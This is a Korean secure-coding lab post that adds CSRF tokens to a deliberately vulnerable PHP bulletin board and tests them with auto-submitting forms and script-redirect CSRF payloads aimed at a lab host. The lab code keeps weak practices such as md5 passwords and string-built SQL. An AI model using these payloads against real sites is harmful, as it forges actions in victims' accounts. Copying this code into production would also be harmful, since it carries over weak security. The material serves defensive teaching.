공격자는 파라미터의 Token을 어렵게 유추한다해도, 특정 사용자가 폼 페이지에 접근하지 않았다면 세션 내 Token 이 발급되지 않기 때문에, 액션 페이지에서 세션 Token 이 존재하지 않는다.
세션 Token 이 존재하지 않으며 파라미터 Token 과 일치하지 않으므로 CSRF 공격이 어렵다.
실습6-4 취약 환경 시큐어 코딩 적용 실습-1
실습 1) 게시글 작성 / 수정 / 삭제 기능에 대한 시큐어 코딩
CSRF Token 적용을 위해서 폼 페이지와 액션 페이지를 분류한다.
파일 위치: C:\APM_Setup\htdocs\insecure_website
* 공통 페이지(CSRF Token 발급 함수 생성 후 일괄 적용)
- common.php
- index.php
* Form Page
- write.php (작성)
- modify.php (수정)
- view.php (삭제)
* Action Page
- action.php
< common.php 마지막 부분에 csrf token 함수 생성 >
function csrf_token_create() {
$time = time();
$id = $_SESSION["id"];
$csrf_token = sha1($id.$time);
return $csrf_token;
}
작성/수정/삭제 등의 코드들이 index.php 에서 호출되고 있으므로 index.php 에서 일괄적용이 가능하다.
(웹 환경마다 다름)
< index.php 에서 csrf token 함수 적용 >
<?
@session_start();
include_once("./common.php");
$page = $_GET["page"];
if(empty($page)) {
$page = "list.php";
} else if ($page == "mypage") {
$page = "mypage.php";
} else if ($page == "login") {
$page = "login.php";
} else if ($page == "join") {
$page = "join.php";
} else if ($page == "pingcheck") {
$page = "pingcheck.php";
} else if ($page == "xmlparser") {
$page = "xmlparser.php";
} else if ($page == "write") {
$csrf_token = csrf_token_create();
$page = "write.php";
} else if ($page == "view") {
$page = "view.php";
} else if ($page == "modify") {
$page = "modify.php";
} else if ($page == "auth") {
$page = "auth.php";
} else if ($page == "error") {
$page = "error.php";
} else {
echo "<script>location.href='index.php?page=error&value={$page}';</script>";
}
?>
write.php 의 hidden 값에 csrf token 을 넣는다.
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">Write Page</h1>
<hr>
</div>
<div class="container">
<form action="action.php" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label>Title</label>
<input type="text" class="form-control" name="title" placeholder="Title Input">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label>
<input type="password" class="form-control" name="password" placeholder="Password Input">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Contents</label>
<textarea class="form-control" name="content" rows="5" placeholder="Contents Input"></textarea>
</div>
<div class="form-group">
<label for="exampleInputPassword1">File</label>
<input type="file" class="form-control" name="userfile">
</div>
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="customCheck1" name="secret">
<label class="custom-control-label" for="customCheck1">Secret Post</label>
</div>
<div class="text-right">
<input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
<input type="hidden" name="mode" value="write">
<button type="submit" class="btn btn-outline-secondary">Write</button>
<button type="button" class="btn btn-outline-danger" onclick="history.back(-1);">Back</button>
</div>
</form>
</div>
write.php 에 접근하게되는 경우 csrf token 함수를 호출하게 되고 hidden 에 csrf token 이 대입된다.
로컬 PC의 관리자 계정으로 로그인한다.
게시글 작성 시 write.php 로 접근하게 되는데, 개발자 도구에서 csrf_token 을 검색하면 아래와 같이 확인된다.
현재 상태는 폼 페이지에서 파라미터에 Token 을 넣어준 상태이다.
세션에도 Token 을 넣어줘야 한다.
로그인한 사용자일 경우에 세션에 CSRF 토큰을 발급하는 로직을 추가한다.
< common.php 에 세션에 CSRF 토큰 발급 로직 추가 >
function csrf_token_create() {
if(!empty($_SESSION["id"])) {
$time = time();
$id = $_SESSION["id"];
$csrf_token = sha1($id.$time);
$_SESSION["csrf_token"] = $csrf_token;
} else {
$csrf_token = "";
}
return $csrf_token;
}
이제 토큰을 검증하는 액션 페이지에 적용을 해줘야 한다.
action.php 에 게시글 작성, 수정, 삭제에 공통적으로 적용을 해준다.
< action.php 최상단 부분 - write, modify, delete 에 각각 적용하기 보다는 최상단에서 일괄 적용 >
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
# CSRF Token 검증 로직
$csrf_token_session = $_SESSION["csrf_token"];
$csrf_token_param = $_REQUEST["csrf_token"];
if(empty($csrf_token_session) && empty($csrf_token_param)) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
} else {
if($csrf_token_param != $csrf_token_session) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
}
}
세션과 파라미터에 csrf token 을 발급하고, 세션과 파라미터의 csrf 토큰이 비어있다면 비정상적인 접근으로 판단한다.
세션과 파라미터의 csrf 토큰이 동일하지 않다면 비정상적인 접근으로 판단한다.
VMWare 에서 해커 계정으로 접속 후 무단으로 글을 작성하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성한 게시글">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커가 작성함">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
</body>
관리자 계정에서 해당 게시글을 클릭한다.
액션 페이지로 리다이렉션 되지만 정상적인 접근이 아니라는 메시지가 발생한다.
(리다이렉션되는 것은 막기 위해서는 XSS 공격을 방어하면 된다.)
에러 메시지가 발생하면서 게시글도 작성되지 않았다.
게시글 수정(modify.php)도 동일하게 hidden 값에 csrf token 을 넣는다.
<?
include_once("./common.php");
$db_conn = mysql_conn();
$idx = $_GET["idx"];
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
$query = "select * from {$tb_name} where idx={$idx}";
$result = $db_conn->query($query);
$num = $result->num_rows;
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">Modify Page</h1>
<hr>
</div>
<?
if($num != 0) {
$row = $result->fetch_assoc();
?>
<div class="container">
<form action="action.php" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label>Title</label>
<input type="text" class="form-control" name="title" placeholder="Title Input" value="<?=$row["title"]?>">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label>
<input type="password" class="form-control" name="password" placeholder="Password Input">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Contents</label>
<textarea class="form-control" name="content" rows="5" placeholder="Contents Input"><?=$row["content"]?></textarea>
</div>
<div class="form-group">
<label for="exampleInputPassword1">File</label>
<? if(!empty($row["file"])) { ?>
<p class="font-italic">[Attach] <?=$row["file"]?></p>
<? } ?>
<input type="hidden" class="form-control" name="oldfile" value="<?=$row["file"]?>">
<input type="file" class="form-control" name="userfile">
</div>
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="customCheck1" name="secret" <? if($row["secret"]=="y") echo "checked"; ?>>
<label class="custom-control-label" for="customCheck1">Secret Post</label>
</div>
<div class="text-right">
<input type="hidden" name="idx" value="<?=$row["idx"]?>">
<input type="hidden" name="csrf_token" value="<?=$csrf_token?>">
<input type="hidden" name="mode" value="modify">
<button type="submit" class="btn btn-outline-secondary">Modify</button>
<button type="button" class="btn btn-outline-danger" onclick="history.back(-1);">Back</button>
</div>
</form>
</div>
<?
} else {
?>
<script>alert("존재하지 않는 게시글 입니다.");history.back(-1);</script>
<?
}
?>
<?
$db_conn->close();
?>
index.php 의 modify.php 부분에도 csrf token 함수를 적용시켜준다.
<?
@session_start();
include_once("./common.php");
$page = $_GET["page"];
if(empty($page)) {
$page = "list.php";
} else if ($page == "mypage") {
$page = "mypage.php";
} else if ($page == "login") {
$page = "login.php";
} else if ($page == "join") {
$page = "join.php";
} else if ($page == "pingcheck") {
$page = "pingcheck.php";
} else if ($page == "xmlparser") {
$page = "xmlparser.php";
} else if ($page == "write") {
$csrf_token = csrf_token_create();
$page = "write.php";
} else if ($page == "view") {
$page = "view.php";
} else if ($page == "modify") {
$csrf_token = csrf_token_create();
$page = "modify.php";
} else if ($page == "auth") {
$page = "auth.php";
} else if ($page == "error") {
$page = "error.php";
} else {
echo "<script>location.href='index.php?page=error&value={$page}';</script>";
}
?>
로컬 PC의 관리자 계정에서 게시글 작성 후 수정 부분을 확인해본다.
위와 같이 CSRF Token 이 hidden 에 존재하는 것을 확인할 수 있다.
게시글 수정도 정상적으로 가능하다.
VMWare 에서 해커 계정으로 접속 후 무단으로 글을 수정하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 수정한 게시글">
<input type="hidden" name="idx" value="57">
<input type="hidden" name="content" value="해커가 수정함">
<input type="hidden" name="password" value="test">
<input type="hidden" name="mode" value="modify">
<input type="submit">
</form>
</body>
로컬 PC의 관리자 계정에서 해당 게시글을 클릭한다.
아래와 같이 비정상적인 접근으로 인식하여 에러 메시지가 발생한다.
해커가 지정한 57번 게시글 또한 수정되지 않았음을 확인할 수 있다.
게시글 삭제 부분에 대한 CSRF 공격 방어도 적용해본다.
index.php 의 view 페이지에 csrf token 함수를 추가해준다. (추가해주지 않는 경우 게시글 삭제가 불가능함)
<?
@session_start();
include_once("./common.php");
$page = $_GET["page"];
if(empty($page)) {
$page = "list.php";
} else if ($page == "mypage") {
$page = "mypage.php";
} else if ($page == "login") {
$page = "login.php";
} else if ($page == "join") {
$page = "join.php";
} else if ($page == "pingcheck") {
$page = "pingcheck.php";
} else if ($page == "xmlparser") {
$page = "xmlparser.php";
} else if ($page == "write") {
$csrf_token = csrf_token_create();
$page = "write.php";
} else if ($page == "view") {
$csrf_token = csrf_token_create();
$page = "view.php";
} else if ($page == "modify") {
$csrf_token = csrf_token_create();
$page = "modify.php";
} else if ($page == "auth") {
$page = "auth.php";
} else if ($page == "error") {
$page = "error.php";
} else {
echo "<script>location.href='index.php?page=error&value={$page}';</script>";
}
?>
view.php 에서 먼저 삭제 로직을 수정해본다.
이전 view.php -> auth 페이지(패스워드 입력) -> action 페이지(패스워드 검증)
변경 view.php -> action 페이지(패스워드 검증)
< 이전 view.php 의 delete 부분 >
<div class="text-right">
<? if($_SESSION["id"] == $row["id"]) { ?>
<button type="button" class="btn btn-outline-secondary" onclick="location.href='index.php?page=modify&idx=<?=$row["idx"]?>'">Modify</button>
<button type="button" class="btn btn-outline-danger" onclick="location.href='index.php?page=auth&mode=delete&idx=<?=$row["idx"]?>'">Delete</button>
<? } ?>
<button type="button" class="btn btn-outline-warning" onclick="location.href='index.php'">List</button>
</div>
< 변경된 view.php delete 부분 >
<div class="text-right">
<? if($_SESSION["id"] == $row["id"]) { ?>
<button type="button" class="btn btn-outline-secondary" onclick="location.href='index.php?page=modify&idx=<?=$row["idx"]?>'">Modify</button>
<button type="button" class="btn btn-outline-danger" onclick="location.href='action.php?mode=delete&idx=<?=$row["idx"]?>&csrf_token=<?=$csrf_token?>'">Delete</button>
<? } ?>
<button type="button" class="btn btn-outline-warning" onclick="location.href='index.php'">List</button>
</div>
action.php 의 delete 부분에도 기존 POST 방식에서 GET 방식으로 변경해준다.
else if($mode == "delete") {
$idx = $_GET["idx"];
$password = $db_conn->real_escape_string($_POST["password"]);
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
관리자 계정으로 게시글 작성 후 정상적으로 삭제가 되는지 확인해본다.
만약 정상적으로 삭제가 되지 않는다면 코드에 오타가 있거나 index.php 의 view 부분에 csrf token 함수를 적용시키지 않아서 발생할 수도 있다.
delete 를 누르니 정상적으로 삭제되는 것을 확인할 수 있다.
CSRF 무단 삭제 공격을 위해 관리자 계정으로 게시글을 작성한다.
VMWare 에서 해커 계정으로 접속 후, 무단을 게시글을 삭제하는 CSRF 공격 페이로드를 작성 후 게시글에 입력한다.
idx=62 게시글이 삭제되도록 한다.
게시글 무단 삭제 게시글
<script>location.href='http://192.168.56.1/insecure_website/action.php?mode=delete&idx=62'</script>
로컬 PC의 관리자 계정으로 해당 게시글을 클릭해본다.
접근 시 아래와 같이 비정상 접근으로 확인되어 에러 메시지가 발생한다.
실습6-5 취약 환경 시큐어 코딩 적용 실습-2
실습 2) 회원 정보 수정 / 패스워드 수정 / 탈퇴 기능에 대한 시큐어 코딩 적용
회원 정보 수정 및 패스워드 수정 기능에 대해서는 CSRF Token 적용이 필요하지는 않다.
대부분 웹 사이트에서는 회원 정보 수정을 위해서는 기존 패스워드 입력을 받고 있기 때문이다.
기존 패스워드를 입력 받는 이유는 CSRF 공격 및 세션을 탈취당했을 때에 대한 방어를 위해서 입력 받는다. (기존 패스워드가 인증 기능을 함)
무단으로 회원 정보 수정을 하는 CSRF 공격을 하기 위해서는 해당 계정의 패스워드를 알고 있어야 가능하다.
회원 정보 수정 및 패스워드 수정 기능에 대해서는 대부분의 웹 사이트들이 진행하는 로직처럼 기존의 패스워드를 입력받는 형태로 진행한다.
MyPage 부분의 코드를 수정한다.
코드 위치: C:\APM_Setup\htdocs\insecure_website\mypage.php
< mypage.php 내 패스워드 로직 검증 추가 및 변경할 패스워드 항목 추가 >
<?
include_once("./common.php");
$db_conn = mysql_conn();
#$id = $db_conn->real_escape_string($_GET["id"]);
$id = $_SESSION["id"];
$gubun = $_POST["gubun"];
if($gubun == "action") {
$name = xss_html_entity($db_conn->real_escape_string($_POST["name"]));
$email = xss_html_entity($db_conn->real_escape_string($_POST["email"]));
$company = xss_html_entity($db_conn->real_escape_string($_POST["company"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$password1 = $db_conn->real_escape_string($_POST["password1"]);
$password2 = $db_conn->real_escape_string($_POST["password2"]);
# Password Check Logic
$password = md5($password);
$query = "select * from members where id='{$id}' and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
if(!empty($password1) && !empty($password2)) {
if ($password1 != $password2) {
echo "<script>alert('변경할 패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
$password = md5($password1);
$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
$result = $db_conn->query($query);
} else {
$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
$result = $db_conn->query($query);
}
echo "<script>alert('회원정보 수정완료');</script>";
}
$query = "select * from members where id='{$id}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">My Page</h1>
<hr>
</div>
<?
if($num != 0) {
$row = $result->fetch_assoc();
?>
<form action="index.php?page=mypage&id=<?=$id?>" method="POST">
<input type="hidden" name="gubun" value="action">
<div class="form-group">
<div class="form-group">
<label>Name</label>
<input type="text" class="form-control" name="name" placeholder="Name Input" value="<?=$row["name"]?>">
</div>
<div class="form-group">
<label>Password</label>
<input type="password" class="form-control" name="password" placeholder="Password Input" value="">
<small id="emailHelp" class="form-text text-muted">※ 기존 패스워드 입력</small>
</div>
<div class="form-group">
<label>변경할 Password</label>
<input type="password" class="form-control" name="password1" placeholder="Password Input" value="">
<small id="emailHelp" class="form-text text-muted">※ 변경할 패스워드 입력</small>
</div>
<div class="form-group">
<label>변경할 Password 확인</label>
<input type="password" class="form-control" name="password2" placeholder="Password Input" value="">
<small id="emailHelp" class="form-text text-muted">※ 변경할 패스워드 입력</small>
</div>
<div class="form-group">
<label>E-mail</label>
<input type="email" id="email" class="form-control" name="email" placeholder="E-mail Input" value="<?=$row["email"]?>">
</div>
<div class="form-group">
<label>Company</label>
<input type="text" class="form-control" name="company" placeholder="Company Input" value="<?=$row["company"]?>">
</div>
<div class="text-center">
<input type="submit" class="btn btn-info" value="수정하기">
<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?id=<?=$_SESSION["id"]?>'">회원탈퇴하기</button>
</div>
</div>
</form>
<? } else { ?>
<script>alert("존재하지 않는 사용자 입니다.");history.back(-1);</script>
<? } ?>
<?
$db_conn->close();
?>
위와 같이 시큐어 코딩 적용 후 VMWare 의 해커 계정에서 패스워드를 수정하는 CSRF 공격을 시도한다.
공격 페이로드 작성을 위해 회원 정보 수정 페이지의 파라미터를 확인해야한다.
버프스위트를 활용하여 어떤 파라미터를 사용하는지 확인해본다.
아래 사이트는 시큐어 코딩이 적용되지 않은 insecure website 로, 기존의 회원 정보 수정 페이지의 파라미터를 확인하기 위해 패킷을 캡쳐했다.
gubun, name, password, email, company 으로 확인된다.
공격 페이로드
<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/index.php?page=mypage" method="POST">
<input type="hidden" name="gubun" value="action">
<input type="hidden" name="name" value="희생자">
<input type="hidden" name="password" value="victim">
<input type="hidden" name="email" value="victim@naver.com">
<input type="hidden" name="company" value="victim">
<input type="submit">
</form>
</body>
VMWare 의 해커 계정에서 위 공격 페이로드를 담은 게시글을 작성한다.
로컬 PC의 관리자 계정에서 해당 게시글을 클릭하여 읽는다.
패스워드가 일치하지 않는다는 에러 메세지가 확인되며, 회원정보는 수정되지 않았다.
관리자 계정의 정보도 변경되지 않았다.
회원정보 수정이 정상적으로 되는지 확인해본다.
이름 및 패스워드를 변경해본다.
정상적으로 회원정보가 수정되는 것을 확인할 수 있다.
회원정보 수정 기능은 정상적으로 동작하며, 회원정보를 무단으로 수정하는 CSRF 공격에 대한 시큐어 코딩도 적용이 완료되었다. 기존과 달리 패스워드 및 회원 정보 수정을 위해서는 기존 패스워드를 입력해야 수정이 가능하므로, 공격자는 회원정보를 무단으로 수정하는 CSRF 공격이 어렵게 되었다.
이제 회원 탈퇴 기능에 대한 시큐어 코딩을 적용해본다.
회원 탈퇴 기능은 CSRF Token 을 통해서 유효성 검증을 하는 코드를 추가한다.
< withdrawal.php 에 CSRF Token 추가 >
<?
@session_start();
include_once("./common.php");
$db_conn = mysql_conn();
$csrf_token_session = $_SESSION["csrf_token"];
$csrf_token_param = $_GET["csrf_token"];
if(empty($csrf_token_session) && empty($csrf_token_param)) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
} else {
if($csrf_token_param != $csrf_token_session) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
}
}
$query = "delete from members where id='{$_SESSION["id"]}'";
$result = $db_conn->query($query);
unset($_SESSION["id"]);
session_destroy();
echo "<script>location.href='index.php'</script>";
?>
폼 페이지인 index.php 의 mypage 에도 csrf token 함수를 추가해준다.
< index.php 의 mypage 에 csrf token 함수 추가 >
<?
@session_start();
include_once("./common.php");
$page = $_GET["page"];
if(empty($page)) {
$page = "list.php";
} else if ($page == "mypage") {
$csrf_token = csrf_token_create();
$page = "mypage.php";
} else if ($page == "login") {
$page = "login.php";
} else if ($page == "join") {
$page = "join.php";
} else if ($page == "pingcheck") {
$page = "pingcheck.php";
} else if ($page == "xmlparser") {
$page = "xmlparser.php";
} else if ($page == "write") {
$csrf_token = csrf_token_create();
$page = "write.php";
} else if ($page == "view") {
$csrf_token = csrf_token_create();
$page = "view.php";
} else if ($page == "modify") {
$csrf_token = csrf_token_create();
$page = "modify.php";
} else if ($page == "auth") {
$page = "auth.php";
} else if ($page == "error") {
$page = "error.php";
} else {
echo "<script>location.href='index.php?page=error&value={$page}';</script>";
}
?>
mypage.php 에서 csrf token 을 GET 방식으로 전달하는 코드를 추가한다.
<div class="text-center">
<input type="submit" class="btn btn-info" value="수정하기">
<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?csrf_token=<?=$csrf_token?>'">회원탈퇴하기</button>
</div>
VMWare 해커 계정으로 무단으로 회원탈퇴를 하는 CSRF 공격을 시도한다.
공격 페이로드
<script>location.href='http://192.168.56.1/insecure_website/withdrawal.php'</script>
무단으로 회원탈퇴를 시도하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.
로컬 PC의 test1 계정으로 로그인 후 해당 게시글을 클릭한다.
에러 메시지와 함께 회원탈퇴가 이루어지지 않았다.
세션과 파라미터에 CSRF Token 값이 없거나 일치하지 않아 검증 로직에 통과하지 못하여 회원탈퇴가 이루어지지 못했다.
정상적으로 회원탈퇴 기능이 수행되는지 확인해본다.
test1 계정을 탈퇴하니 정상적으로 기능이 수행되었다.
기존
회원탈퇴 후
실습6-6 취약 환경 시큐어 코딩 적용 실습-3
CSRF Token 검증 후에 세션 내 CSRF Token을 폐기해줘야 한다. (재사용될 필요가 없음)
CSRF Token 폐기 로직은 액션이 이루어지는 페이지에 추가하면 된다.
unset 함수를 활용하여 csrf token 을 삭제한다.
< action.php 에 csrf token 폐기 코드 추가 >
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
# CSRF Token 검증 로직
$csrf_token_session = $_SESSION["csrf_token"];
$csrf_token_param = $_REQUEST["csrf_token"];
unset($_SESSION["csrf_token"]);
if(empty($csrf_token_session) && empty($csrf_token_param)) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
} else {
if($csrf_token_param != $csrf_token_session) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
}
}
회원 탈퇴시에도 ID 뿐만 아니라 CSRF Token 도 같이 폐기해준다.
< withdrawal.php 에 csrf token 폐기 코드 추가 >
<?
@session_start();
include_once("./common.php");
$db_conn = mysql_conn();
$csrf_token_session = $_SESSION["csrf_token"];
$csrf_token_param = $_GET["csrf_token"];
if(empty($csrf_token_session) && empty($csrf_token_param)) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
} else {
if($csrf_token_param != $csrf_token_session) {
echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
exit();
}
}
$query = "delete from members where id='{$_SESSION["id"]}'";
$result = $db_conn->query($query);
unset($_SESSION["csrf_token"]);
unset($_SESSION["id"]);
session_destroy();
echo "<script>location.href='index.php'</script>";
?>
참고
XSS, CSRF 참고
'웹 해킹 > 웹 해킹 및 시큐어 코딩 기초' 카테고리의 다른 글
파일 업로드 취약점 (0) | 2025.02.25 |
---|---|
파일 다운로드 취약점 (1) | 2025.02.10 |
XSS (Cross-Site Scripting) (0) | 2025.01.24 |
XXE Injection (2) | 2025.01.04 |
OS Command Injection (2) | 2025.01.03 |